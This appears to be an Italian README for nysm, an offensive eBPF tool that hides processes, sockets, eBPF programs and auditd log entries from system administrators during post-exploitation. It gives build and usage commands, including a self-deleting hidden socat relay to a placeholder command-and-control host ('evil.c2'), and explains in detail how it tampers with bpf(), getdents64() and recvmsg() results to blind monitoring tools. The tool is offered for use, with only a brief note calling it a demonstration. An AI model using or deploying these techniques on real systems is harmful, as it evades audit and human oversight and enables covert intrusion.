
Container stealth basato su eBPF che nasconde processi, socket, oggetti eBPF e log di audit dagli strumenti di monitoraggio di sistema, consentendo operazioni di post-sfruttamento occulto.
Un contenitore stealth per post-exploitation.
Con l'aumento della popolarità degli strumenti offensivi basati su eBPF, dai ladri di credenziali ai rootkit che nascondono il proprio PID, ci è venuta una domanda: Sarebbe possibile rendere eBPF invisibile ai propri occhi? Da lì, abbiamo creato nysm, un contenitore stealth basato su eBPF progettato per far passare inosservati gli strumenti offensivi sotto il radar degli amministratori di sistema, non solo nascondendo eBPF, ma molto altro:
Tutti questi strumenti diventano ciechi di fronte a ciò che passa attraverso nysm. Nasconde:
Attenzione Questo strumento è una semplice dimostrazione delle capacità di eBPF in quanto tale. Non è pensato per essere esaustivo. Tuttavia, le richieste pull sono più che benvenute.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
nysm è un semplice programma da eseguire prima del comando desiderato:
Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.
-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message
Esegui una bash nascosta:
./nysm bash
Esegui un ssh nascosto e rimuovi ./nysm:
./nysm -r ssh user@domain
Esegui un socat nascosto come demone e rimuovi ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Poiché eBPF non può sovrascrivere valori restituiti o indirizzi del kernel, il nostro obiettivo è trovare la chiamata di livello più basso che interagisca con un indirizzo dello spazio utente per sovrascriverne il valore e nascondere gli oggetti desiderati.
Per differenziare gli eventi nysm dagli altri, tutto viene eseguito all'interno di un namespace PID separato.
bpftool ha alcune funzionalità che nysm vuole eludere: bpftool prog list, bpftool map list e bpftool link list.
Come ogni programma eBPF, bpftool usa la chiamata di sistema bpf(), e più specificamente con i comandi BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID e BPF_LINK_GET_NEXT_ID. Il risultato di queste chiamate è memorizzato nell'indirizzo dello spazio utente puntato dall'argomento attr.
Per sovrascrivere uattr, viene impostato un tracepoint all'ingresso di bpf() per memorizzare l'indirizzo puntato in una mappa. Una volta fatto, attende il tracepoint di uscita di bpf(). Quando bpf() termina, nysm può leggere e scrivere attraverso la struttura bpf_attr. Dopo ogni BPF_*_GET_NEXT_ID, bpf_attr.start_id viene sostituito da bpf_attr.next_id.
Per nascondere ID specifici, controlla bpf_attr.next_id e lo sostituisce con il successivo ID che non è stato creato in nysm.
Gli ID di programmi, mappe e link vengono raccolti da security_bpf_prog(), security_bpf_map() e bpf_link_prime().
Auditd riceve i suoi log da recvfrom() che memorizza i suoi messaggi in un buffer.
Se il messaggio ricevuto è stato generato da un processo nysm tramite audit_log_end(), sostituisce la lunghezza del messaggio nel suo header nlmsghdr con 0.
Nascondere i PID con eBPF non è una novità. nysm nasconde i nuovi PID di alloc_pid() da getdents64() in /proc modificando la lunghezza del record precedente.
Poiché getdents64() richiede di iterare attraverso tutti i suoi file, il limite di istruzioni eBPF viene facilmente raggiunto. Pertanto, nysm utilizza tail calls prima di raggiungerlo.
Nascondere i socket è un parolone. In effetti, i socket aperti sono già nascosti a molti strumenti perché non riescono a trovare il processo in /proc. Tuttavia, ss utilizza socket() con il flag NETLINK_SOCK_DIAG che restituisce tutti i socket attualmente aperti. Successivamente, ss riceve il risultato tramite recvmsg() in un buffer di messaggi e il valore restituito è la lunghezza di tutti questi messaggi combinati.
Qui viene applicato lo stesso metodo dei PID: la lunghezza del messaggio precedente viene modificata per nascondere i socket di nysm.
Questi vengono raccolti dalle chiamate connect() e bind().
Nonostante il massimo impegno, nysm ha ancora alcune limitazioni.
Ogni strumento che non chiude i propri descrittori di file individuerà i processi nysm creati mentre sono aperti. Ad esempio, se ./nysm bash è in esecuzione prima di top, i processi non verranno visualizzati. Ma se un altro processo viene creato da quella istanza di bash mentre top è ancora in esecuzione, il nuovo processo verrà individuato. Lo stesso problema si verifica con i socket e strumenti come nethogs.
Log del kernel: dmesg e /var/log/kern.log, il messaggio nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! apparirà diverse volte a causa del verificatore eBPF durante l'esecuzione di nysm.
Molte tracce scritte nei file vengono lasciate perché agganciare read() e write() sarebbe troppo pesante (ma comunque possibile). Ad esempio /proc/net/tcp o /sys/kernel/debug/tracing/enabled_functions.
Naturalmente, molte di queste limitazioni devono avere le proprie soluzioni. Ancora una volta, le richieste pull sono più che benvenute.
Nascondere recvmsg di ss può essere impegnativo poiché un nuovo socket può apparire all'inizio del buffer e nysm non può nasconderlo con un record precedente (questo non si applica ai PID). Una soluzione rapida potrebbe essere scambiare il primo con il successivo socket legittimo, ma cosa succede se un socket è da solo nel buffer? Pertanto, nysm modifica le informazioni del primo socket con valori hardcoded.
Eseguire bpf() con qualsiasi tipo di flag BPF_*_GET_NEXT_ID da un processo figlio di nysm dovrebbe essere evitato poiché nasconderebbe tutti gli oggetti eBPF non nysm.